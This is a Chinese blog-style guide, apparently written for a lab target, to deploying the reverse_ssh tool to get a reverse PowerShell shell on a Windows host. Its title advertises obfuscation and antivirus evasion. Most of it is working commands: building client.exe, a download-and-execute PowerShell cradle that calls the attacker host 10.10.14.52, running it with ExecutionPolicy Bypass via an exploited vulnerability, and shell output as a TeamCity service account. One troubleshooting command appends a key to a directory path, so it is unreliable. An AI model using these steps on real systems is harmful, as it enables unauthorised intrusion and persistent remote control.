reverse_ssh 建立反向 SSH 连接指南 混淆&&AV [好东西哟]

目录

[🌐 工具简介](#🌐 工具简介)

[⚙️ 前提条件](#⚙️ 前提条件)

攻击主机 (Linux)

目标主机 (Windows)

[📋 详细步骤](#📋 详细步骤)

[步骤 1:安装 Go 环境](#步骤 1:安装 Go 环境)

[步骤 2:安装必要依赖](#步骤 2:安装必要依赖)

[步骤 3:下载并编译 reverse_ssh](#步骤 3:下载并编译 reverse_ssh)

[步骤 4:配置密钥](#步骤 4:配置密钥)

[步骤 5:启动 reverse_ssh 服务器](#步骤 5:启动 reverse_ssh 服务器)

[步骤 6:创建 PowerShell 脚本](#步骤 6:创建 PowerShell 脚本)

[步骤 7:生成 diff.txt](#步骤 7:生成 diff.txt)

[步骤 8:启动 HTTP 服务器](#步骤 8:启动 HTTP 服务器)

[步骤 9:目标主机:执行 PowerShell 脚本](#步骤 9:目标主机:执行 PowerShell 脚本)

[步骤 10:攻击主机:确认连接并获取 ID](#步骤 10:攻击主机:确认连接并获取 ID)

[步骤 11:攻击主机:建立 SSH 连接](#步骤 11:攻击主机:建立 SSH 连接)

[❗️ 错误排查与修复](#❗️ 错误排查与修复)

[错误 1:主机密钥验证失败](#错误 1:主机密钥验证失败)

[错误 2:公钥认证失败](#错误 2:公钥认证失败)


🌐 工具简介

reverse_ssh 是一个基于 Go 语言开发的开源工具,用于创建反向 SSH 连接。它允许 Windows 目标主机绕过防火墙或 NAT,主动连接到攻击主机的 SSH 服务器,提供交互式 PowerShell shell。

  • 服务器端:运行在攻击主机,监听指定端口(如 3232)。

  • 客户端 (client.exe):运行在 Windows 目标主机,连接到攻击主机。

  • 功能:支持动态端口转发、文件传输(SCP/SFTP)及 Windows 交互式 shell(通过 conpty/winpty)。


⚙️ 前提条件

攻击主机 (Linux)

  • 操作系统:Linux(如 Ubuntu)。

  • 工具:Git、Go(版本 1.17 或更高)、make、Python3、OpenSSH 客户端。

  • 防火墙:开放端口 3232(服务器端口)和 80(HTTP 服务器端口)。

  • IP 地址:10.10.14.52(通过 ifconfig 或 ip addr 确认)。

  • 用户:以 root 或普通用户(如 fidey)操作,需注意文件权限。

目标主机 (Windows)

  • 系统:Windows(支持 PowerShell)。

  • 网络:可访问 10.10.14.52:3232 和 10.10.14.52:80。

  • 权限:通过漏洞利用或其他方式可执行 PowerShell 脚本。


📋 详细步骤

以下步骤假设工作目录为 /home/fidey/Desktop/reverse_ssh,用户为 fidey,但以 root 执行部分命令。

步骤 1:安装 Go 环境

目标:确保 Go(版本 1.17 或更高)正确安装以编译 reverse_ssh。

  1. 检查现有 Go 版本:

    复制代码
    go version
  2. 如果版本低于 1.17 或未安装,继续以下步骤。

  3. 卸载旧版 Go(如有):

    复制代码
    sudo rm -rf /usr/local/go
    sudo apt remove golang-go -y
  4. 下载并安装 Go 1.22.3(截至 2025/05/21 的最新版本):

    复制代码
    wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz
    sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
  5. 配置环境变量:

    • 编辑 ~/.bashrc 或 ~/.zshrc:
    复制代码
    vim ~/.bashrc
    • 添加:
    复制代码
    export PATH=$PATH:/usr/local/go/bin
  6. 使配置生效:

    复制代码
    source ~/.bashrc
  7. 验证 Go 安装:

    复制代码
    go version

    预期输出

    复制代码
    go version go1.22.3 linux/amd64
  8. 如果输出不正确,检查下载链接或环境变量配置。


步骤 2:安装必要依赖

目标:确保系统具备编译和运行 reverse_ssh 的依赖。

  1. 更新系统包索引:

    复制代码
    sudo apt update
  2. 安装 Git 和 make:

    复制代码
    sudo apt install git make -y
  3. 安装 OpenSSH 客户端(用于后续 SSH 连接):

    复制代码
    sudo apt install openssh-client -y
  4. 攻击主机生成ssh公钥私钥 命令解释:ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N "" ############## ssh-keygen OpenSSH 提供的密钥生成工具,用于创建 SSH 认证所需的公钥/私钥对。 ############## -t ed25519 指定密钥类型为 ed25519(基于 Edwards-curve Digital Signature Algorithm)。 优势:安全性高(等效 RSA 3072 位)、生成速度快、密钥长度短(仅 256 位)。 ############## -f ~/.ssh/id_ed25519 指定私钥保存路径为 ~/.ssh/id_ed25519(用户家目录下的 .ssh 文件夹)。 公钥会自动生成在同路径下,文件名追加 .pub(即 ~/.ssh/id_ed25519.pub)。 ############## -N "" 设置密钥的密码(passphrase)为空(""表示无密码)。 若需密码保护,可替换为 -N "your_password"。 ############## 命令输出示例:

    复制代码
    Generating public/private ed25519 key pair.
    Your identification has been saved in /home/user/.ssh/id_ed25519
    Your public key has been saved in /home/user/.ssh/id_ed25519.pub
    The key fingerprint is:
    SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz1234567890 user@hostname
    The key's randomart image is:
    +--[ED25519 256]--+
    |        .o+o.    |
    |       . oo . .  |
    |      . .  = o   |
    |       o  = * .  |
    |      . S + + .  |
    |         o = .   |
    |          + .    |
    |         . E     |
    |          ..     |
    +----[SHA256]-----+

步骤 3:下载并编译 reverse_ssh

目标:从 GitHub 获取 reverse_ssh v1.0.16 并编译生成服务器和客户端。

  1. 创建工作目录:

    复制代码
    mkdir -p /home/fidey/Desktop/reverse_ssh
    cd /home/fidey/Desktop/reverse_ssh
  2. 克隆 reverse_ssh 仓库(指定 v1.0.16):

    复制代码
    git clone --branch v1.0.16 https://github.com/NHAS/reverse_ssh.git
    cd reverse_ssh
  3. 编译服务器和客户端:

    复制代码
    make

    预期输出

    • bin/server(Linux 服务器)

    • bin/client(Linux 客户端)

    • bin/id_ed25519(服务器私钥)

    • bin/id_ed25519.pub(服务器公钥)

  4. 为 Windows 编译客户端:

    复制代码
    GOOS=windows GOARCH=amd64 make client

    预期输出:bin/client.exe(Windows 可执行文件)。

  5. 验证编译结果:

    复制代码
    ls -l bin/

    预期输出

    复制代码
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client.exe
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 server
    -rw------- 1 fidey fidey      411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey      102 May 21 13:00 id_ed25519.pub

步骤 4:配置密钥

目标:配置服务器密钥和攻击主机公钥以接受连接。

  1. 进入 bin 目录:

    复制代码
    cd bin
  2. 检查服务器密钥:

    复制代码
    ls id_ed25519 id_ed25519.pub
  3. 若缺失,重新生成:

    复制代码
    ssh-keygen -t ed25519 -f id_ed25519 -N ""
  4. 生成攻击主机的 SSH 密钥对(若未生成):

    • 检查 root 用户密钥:
    复制代码
    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
    • 若不存在,生成:
    复制代码
    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  5. 创建并配置 authorized_keys:

    • 创建 authorized_keys 文件:
    复制代码
    touch authorized_keys
    • 添加攻击主机的公钥(假设以 root 连接):
    复制代码
    cat /root/.ssh/id_ed25519.pub >> authorized_keys

    注意:不要将 id_ed25519.pub(服务器公钥)复制到 authorized_keys,这是常见错误。

  6. 设置文件权限:

    复制代码
    chmod 600 authorized_keys id_ed25519
    chmod 644 id_ed25519.pub
  7. 验证权限:

    复制代码
    ls -l authorized_keys id_ed25519 id_ed25519.pub

    预期输出

    复制代码
    -rw------- 1 fidey fidey 102 May 21 13:01 authorized_keys
    -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub

步骤 5:启动 reverse_ssh 服务器

目标:运行服务器,监听 0.0.0.0:3232。

  1. 确保在 bin 目录:

    复制代码
    pwd

    预期输出

    复制代码
    /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
  2. 启动服务器:

    复制代码
    ./server 0.0.0.0:3232 --insecure

    --insecure :跳过部分握手验证,简化连接。 预期输出

    复制代码
    2025/05/21 13:17:02 Listening on 0.0.0.0:3232
    2025/05/21 13:17:02 Loading private key from: /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin/id_ed25519
    2025/05/21 13:17:02 Server key fingerprint: df32b00476bafa0d...
  3. 若提示 authorized_keys 缺失,检查步骤 4。

  4. 验证端口监听:

    复制代码
    netstat -tuln | grep 3232

    预期输出

    复制代码
    tcp        0      0 0.0.0.0:3232            0.0.0.0:*               LISTEN

步骤 6:创建 PowerShell 脚本

目标:生成脚本让目标主机下载并执行 client.exe。

  1. 创建 hello_world.ps1:

    复制代码
    echo 'iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232' > hello_world.ps1
  2. 验证脚本内容:

    复制代码
    cat hello_world.ps1

    预期输出

    复制代码
    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232

步骤 7:生成 diff.txt

目标:将脚本保存为 diff 格式,便于传递。

  1. 初始化 Git 仓库:

    复制代码
    git init
  2. 添加并生成 diff:

    复制代码
    git add hello_world.ps1
    git diff --cached > diff.txt
  3. 验证 diff.txt:

    复制代码
    cat diff.txt

    预期输出

    复制代码
    diff --git a/hello_world.ps1 b/hello_world.ps1
    new file mode 100644
    --- /dev/null
    +++ b/hello_world.ps1
    @@ -0,0 +1 @@
    +iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe;C:\windows\temp\client.exe 10.10.14.52:3232

步骤 8:启动 HTTP 服务器

目标:提供 client.exe 下载。

  1. 确保 client.exe 存在:

    复制代码
    ls client.exe
  2. 启动 HTTP 服务器:

    复制代码
    python3 -m http.server 80

    在新终端运行,避免干扰服务器进程。

  3. 验证:在攻击主机或另一台机器上运行:

    复制代码
    curl http://10.10.14.52:80/client.exe

    应返回二进制数据或下载文件。


步骤 9:目标主机:执行 PowerShell 脚本

目标:通过漏洞利用运行脚本,建立反向连接。

  1. 传递脚本:

    • 将 diff.txt 内容转换为 C:\temp\hello_world.ps1(通过漏洞传递)。

    • 示例内容:

    复制代码
    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
  2. 执行脚本:

    • 在目标主机打开 PowerShell(Win + R,输入 powershell)。

    • 运行:

    复制代码
    powershell -ExecutionPolicy Bypass -File C:\temp\hello_world.ps1
    • 脚本下载 client.exe 并运行,连接到 10.10.14.52:3232。
  3. 检查 client.exe 是否运行:

    复制代码
    dir C:\windows\temp\client.exe
    • 若缺失,检查 HTTP 服务器或防病毒软件拦截。

步骤 10:攻击主机:确认连接并获取 ID

目标:记录目标主机的连接 ID。

  1. 查看服务器终端输出:

    • 成功连接示例:
    复制代码
    2025/05/21 13:20:00 [10.10.11.207:53849] INFO sshd.go:360 acceptConn() : New controllable connection with id 36bc39ca884246b576a98cf7168e530becb34e
  2. 记录连接 ID(如 36bc39ca884246b576a98cf7168e530becb34e)。


步骤 11:攻击主机:建立 SSH 连接

目标:通过连接 ID 获取目标主机的 PowerShell shell。

  1. 尝试连接:

    复制代码
    ssh -J 10.10.14.52:3232 36bc39ca884246b576a98cf7168e530becb34e
  2. 成功后进入 PowerShell shell: 预期输出

    复制代码
    Windows PowerShell
    Copyright (C) Microsoft Corporation. All rights reserved.
    PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> whoami
    coder\svc_teamcity

❗️ 错误排查与修复

错误 1:主机密钥验证失败

错误信息

复制代码
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
Host key for [10.10.14.52]:3232 has changed and you have requested strict checking.
Host key verification failed.

原因 :/root/.ssh/known_hosts 中的主机密钥与当前服务器密钥不匹配。 解决方案

  1. 移除旧主机密钥:

    复制代码
    ssh-keygen -f "/root/.ssh/known_hosts" -R "[10.10.14.52]:3232"
  2. 临时禁用严格检查(仅测试用):

    复制代码
    ssh -J 10.10.14.52:3232 -o StrictHostKeyChecking=no 36bc39ca884246b576a98cf7168e530becb34e
  3. 重新连接:

    复制代码
    ssh -J 10.10.14.52:3232 <connection_id>

错误 2:公钥认证失败

错误信息

复制代码
[email protected]: Permission denied (publickey).
kex_exchange_identification: Connection closed by remote host

原因 :攻击主机的公钥未在服务器的 authorized_keys 中。 解决方案

  1. 检查攻击主机密钥:

    复制代码
    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
  2. 若缺失,生成:

    复制代码
    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  3. 添加公钥到 authorized_keys:

    复制代码
    cat /root/.ssh/id_ed25519.pub >> /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
相关推荐
Li-Yongjun几秒前
5G-A:开启通信与行业变革的新时代
运维·服务器·5g
待什么青丝9 分钟前
【Ubuntu】摸鱼技巧之虚拟机环境复制
linux·运维·ubuntu
中杯可乐多加冰43 分钟前
采用Bright Data+n8n+AI打造自动化新闻助手:每天5分钟实现内容日更
运维·人工智能·自动化·大模型·aigc·n8n
明月看潮生1 小时前
青少年编程与数学 02-020 C#程序设计基础 14课题、程序调试
开发语言·青少年编程·c#·编程与数学
东临碣石821 小时前
【AI论文】SWE-rebench:一个用于软件工程代理的任务收集和净化评估的自动化管道
运维·自动化
lulinhao1 小时前
VLAN的作用和原理
网络·笔记·vlan
独行soc1 小时前
2025年渗透测试面试题总结-匿名[校招]高级安全工程师(代码审计安全评估)(题目+回答)
linux·安全·web安全·面试·职场和发展·渗透测试
20242817李臻1 小时前
李臻20242817_安全文件传输系统项目报告_第14周
数据库·安全
DevSecOps选型指南1 小时前
最佳实践|互联网行业软件供应链安全建设的SCA纵深实践方案
安全·开源·devsecops·软件供应链安全厂商·软件供应链安全工具
Mac技巧大咖1 小时前
恶意软件清理工具,让Mac电脑安全更简单
安全·macos·恶意软件清理工具